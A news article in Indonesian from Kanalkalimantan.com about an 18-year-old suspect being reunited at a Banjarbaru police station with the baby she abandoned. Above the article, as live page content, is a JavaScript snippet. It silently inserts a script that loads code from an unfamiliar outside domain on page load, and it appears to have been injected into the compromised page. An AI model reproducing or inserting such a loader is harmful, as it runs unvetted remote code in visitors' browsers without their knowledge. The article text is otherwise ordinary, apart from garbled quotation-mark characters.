(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Suasana haru menyelimuti pertemuan pelaku pembuang bayi SA (18) di Mako Polsek Banjarbaru Utara, Selasa (10/1/2023) kemarin.
SA (18) terlihat erat memeluk bayi berjenis kelamin laki-laki yang dibuang di depan sebuah ruko Jalan Trikora, Kelurahan Kemuning, Kecamatan Banjarbaru Selatan pada Minggu (4/12/2022) lalu. SA sudah sebulan mendekam di balik jeruji besi dan akhirnya dapat melihat darah dagingnya sendiri.
Kapolsek Banjarbaru Utara, Kompol Shofiyah melalui PS Kasi Humas, Aipda Andreas mengatakan, Polsek Banjarbaru Utara bersama Dinas Pemberdayaan Perempuan Perlindungan Anak (DPPPA) Provinsi Kalsel dan Dinas PPPA Kota Banjarbaru dan panti ssuhan akhirnya mempertemukan tersangka SA (18) dengan bayi yang ditelantarkannya.
“Ini merupakan keputusan bersama untuk mempertemukan tersangka dengan bayinya,†ujarnya, Rabu (11/1/2023).
Baca juga : Pelaku Pembuang Bayi di Palam Belum Terungkap, Polisi Kurang Saksi dan Rekaman CCTV
Diungkapkan Aipda Andreas, SA (18) tak sanggup membendung air mata setelah dipertemukan dengan buah hatinya.
Dilanjutkan Aipda Andreas, berdasarkan pengakuan SA (18) saat dipertemukan dengan bayinya, sebelum membuangnya, SA (18) sempat merawat buah hatinya selama 4 hari dan sangat menyayanginya.
Dirinya pun sengaja meletakkan bayinya di warung langganannya guna dirawat pemilik warung.
“Dia (SA) tidak tega kalau dibuang di hutan, takut diganggu hewan liar,†ungkapnya.
Pertemuan tersangka SA (18) dengan bayinya didampingin Wakapolsek Banjarbaru Utara, AKP Suwanto bersama Kanit Lantas AKP Khamdari yang ikut terharu melihat pertemuan tersangka dengan bayinya.
Baca juga :Â Bupati Lamandau Serahkan 1.353 Sertifikat Program PTSL
Setelah pertemuan penuh haru tersebut, SA (18) kembali ke sel tahanan Mapolsek Banjarbaru Utara dan anaknya dikembalikan ke Panti Asuhan di Landasan Ulin.
“Dalam waktu dekat SA akan diserahkan ke Kejaksaan Negeri Banjarbaru guna mempertanggungjawabkan perbuatanya,†tuntasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.